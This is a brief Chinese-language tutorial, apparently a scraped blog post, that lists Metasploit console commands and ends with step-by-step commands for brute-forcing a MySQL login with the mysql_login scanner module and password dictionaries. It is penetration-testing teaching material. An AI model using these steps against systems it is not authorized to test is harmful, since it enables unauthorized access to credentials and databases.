渗透测试-Metasploit

本文主要是介绍渗透测试-Metasploit，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

Msf（the Matesploit Framework）基础

在这里插入图片描述
漏洞框架方便强大框架全球性exp poc 脚本利于测试

术语

在这里插入图片描述

运行

在这里插入图片描述

cd = back

ls = dir pwd

banner

color

connect 链接一个主机、网络
edit 编辑一个模块
exit 退出控制台
get 获取变量
getg 全局变量
go_pro 进入GUI ····有的版本没有
grep 输出命令
info 查看模块详细信息
irb drop 进脚本模块 ruby
jobs 显示你使用的模块
在这里插入图片描述
kill 处理掉一个项目进程
load 加载一些插件
loadpath 插件路径
quit 退出控制台
route 做跳板代理
save 保存活跃数据
search 搜索漏洞模块
sessions 选择会话 -i x (shell 反弹回来选择序号)

set 设置参数 RHOSTS 地址/网段
在这里插入图片描述

设置字典
unset

unsetg 全局重新设置

show options 查看配置选项
在这里插入图片描述
exploit 执行

db_connect 链接

db_disconnect 断开
db_export 导出
db_import 导入
db_nmap 扫描结果入库

service postgresql start
在这里插入图片描述
status

service metasploit start

msfconsole
在这里插入图片描述

在这里插入图片描述

扫描结果

在这里插入图片描述

msfconsole
search mysql
use auxiliary/scanner/mysql/mysql_login

set RHOST 192.168.10.3
set user_file 用户名字典的路径(位置)
set pass_file 密码字典的路径(位置)
set STOP_ON_SUCCESS yes (只要爆破成功就停止)
run 启动攻击,开始爆破

这篇关于渗透测试-Metasploit的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！

Java教程